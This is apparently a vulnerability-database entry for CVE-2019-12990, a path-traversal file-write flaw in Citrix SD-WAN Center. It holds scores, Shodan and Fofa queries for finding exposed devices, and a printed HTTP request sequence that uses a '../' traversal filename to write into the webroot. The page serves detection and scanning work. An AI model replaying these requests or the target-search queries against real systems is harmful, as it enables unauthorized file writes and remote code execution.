🔙 목록으로 돌아가기

CVE-2019-12990: Citrix SD-WAN Center - Local File Inclusion

TitleCitrix SD-WAN Center - Local File Inclusion
Authorgy741
SeverityCritical
ImpactSuccessful exploitation of this vulnerability could lead to unauthorized access to sensitive information, remote code execution, or denial of service.
RemediationApply the latest security patches or updates provided by Citrix to mitigate the vulnerability.
CVSS Score9.8
EPSS Score0.91507
CVE IDCVE-2019-12990
CWE IDCWE-22
Shodan Queryhttp.title:"Citrix SD-WAN"http.title:"citrix sd-wan"
Fofa Querytitle="citrix sd-wan"
Tags cve cve2019 citrix rce unauth tenable intrusive vkev vuln

🔍 Vulnerability Description

Citrix SD-WAN Center is susceptible to local file inclusion via the applianceSettingsFileTransfer function in ApplianceSettingsController. The function does not sufficiently validate or sanitize HTTP request parameter values used to construct a file system path. An attacker can trigger this vulnerability by routing traffic through the Collector controller and supplying a crafted value for filename, filedata, and workspace_id, therefore being able to write files to locations writable by the www-data user and/or to write a crafted PHP file to /home/talariuser/www/app/webroot/files/ to execute arbitrary PHP code.

🌐 HTTP Request

GET /login HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip
POST /Collector/appliancesettings/applianceSettingsFileTransfer HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36
Connection: close
Content-Length: 102
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

filename=../../../../../../home/talariuser/www/app/webroot/files/38FWZvGp54ump8pxNM39jTOeeUn&filedata=
GET /talari/app/files/38FWZvGp54ump8pxNM39jTOeeUn HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0 Safari/605.1.15
Connection: close
Accept: */*
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2019/CVE-2019-12990.yaml

🦈 Packet Capture: ⬇️ Download cve-2019-12990.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A